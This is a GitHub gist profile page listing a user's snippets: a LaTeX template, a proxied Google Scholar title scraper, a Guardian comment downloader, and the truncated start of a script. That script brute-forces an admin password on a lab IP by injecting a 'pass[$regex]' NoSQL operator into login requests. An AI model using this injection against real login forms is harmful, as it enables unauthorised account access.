Skip to content

Instantly share code, notes, and snippets.

View IngoKl's full-sized avatar

Ingo Kleiber IngoKl

View GitHub Profile
#!/usr/bin/python
import requests
import string
ip = '10.10.241.19'
def try_password(password, username='admin'):
r = requests.post(f'http://{ip}/login.php', allow_redirects=True, data={'remember': 'on', 'user': username, 'pass[$regex]': password})
if 'Invalid' in r.text:
@IngoKl
IngoKl / latex.template
Created June 3, 2020 08:00 — forked from michaelt/latex.template
Simple Pandoc default.latex with comments
%!TEX TS-program = xelatex
\documentclass[12pt]{scrartcl}
% The declaration of the document class:
% The second line here, i.e.
% \documentclass[12pt]{scrartcl}
% is a standard LaTeX document class declaration:
% we say what kind of document we are making in curly brackets,
% and specify any options in square brackets.
@IngoKl
IngoKl / dl-google-scholar.py
Last active February 4, 2018 17:22
A simple Python script that downloads/retrieves all titles based on a given Google Scholar query.
import requests
import re
from bs4 import BeautifulSoup
max_results = 17000
search_url = 'https://scholar.google.de/scholar?start=0&q=(%22social+media%22+AND+%22teaching%22)&hl=de&as_sdt=0,5&as_ylo=2017'
proxies = {'https': 'socks5://127.0.0.1:8080', 'http': 'socks5://127.0.0.1:8080'}
def test_proxy(proxies):
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@IngoKl
IngoKl / GuardianCommentDownloader.py
Last active January 5, 2016 19:04
A python script that automatically downloads all comments from a theguardian.com article
import urllib2
import re
import time
import sys
# This script will download all comments from a Guardian (theguardian.com) article into a single .html file
# Use 'File ID' to easily identify your file later (this could also be something like a Citavi identifier)
# Ingo Kleiber <ikleiber@googlemail.com>
print """\